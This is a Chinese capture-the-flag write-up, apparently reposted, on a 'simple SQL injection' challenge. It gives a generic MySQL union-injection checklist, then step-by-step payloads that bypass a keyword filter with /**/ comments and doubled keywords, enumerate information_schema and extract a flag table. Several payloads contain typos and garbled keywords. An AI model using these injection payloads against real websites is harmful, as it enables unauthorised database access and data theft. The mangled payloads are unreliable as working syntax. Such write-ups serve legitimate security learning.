实验吧简单的SQL注入

来源:互联网 发布:电脑淘宝安全中心 编辑:程序博客网 时间:2024/06/05 14:16

mysql注入:

    1.找到一个又参数传递的页面,用1=1 1=2测试是否是注入点(id=142 and 1=2)

    2.用order by函数二分法测试有多少个字段(id=1 order by 10)

    3.id=1 and 1=2 union select 1,2,3,4,5

    4.将在页面显示的字段用一些函数代替,比如(id=1 union select 1,version(),user(),3,4,5

    5.查看数据库中包含了哪些表(id=1 and union select table_name from information_schema.tables where table_schema=“数据库名”

    6.查看数据表中包含了哪些字段(id=1 and union select colume_name from information_schema.columns where table_name="表名“

    7.查看字段名(id=1 union select 1,colume_name,3,4,5 from information_schema.columns where table_name=”表名“

              group_concat(字段名)            unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题


      1.随便往框里面输入字符和数字,发现当输入1、2、3的时候有查询结果。

      2.接下来进行注入的第一步测试,输入一个带单引号的数据,目的是测试是否对构造SQL的字符串进行了过滤。当把带有单引号的数据(如输入 1')提交以后,我们得到了错误的返回。

      3.接下来我们进行第二步的过滤测试,关键字过滤。输入关键字之后发现有用的关键字几乎都被过滤掉了。但是在添加的过程中,最后一个关键字不被过滤,

说明是过滤后面带空格的关键字。

      4.要绕过空格过滤可以用/**/

      5.确定数据库名 1‘ union/**/select/**/database()’      得到数据库名为web1
      6.得到表名字1' union/**/select/**/table_name from/**/information_sheminformation_tables/**/where/**/table_schemtable_schemaa/**/='web1

发现没有权限对web1进行操作。

      7.打开所有表1' union/**/select/**/table_name from/**/information_sheminformation_tables/**/where/**/‘1’=‘1找到一个叫flag的表用语句

1' union/**/select/**/column_namcolumn_namee from/**/information_scheminnformation_schema.columnsa.columns/**/where/**/table_name='flag

      8.1' union/**/select/**/flag from/**/flag from/**/where/**/'1'='1看到字段名字





1'/**/union/**/select/**/ grougroup_concatp_concat(table_name)  from/**/information_schema/**/.tables/**/where/**/tabltable_schemae_schema/**/=database() andand  '1'='1

可以直接看到表里的情况,显示为


比较两种思路的不同为,下面一种是在当前数据库中查找表的名字,上面一种是在源数据库中查找所有表的名字,database()是显示当前数据库中表的名字。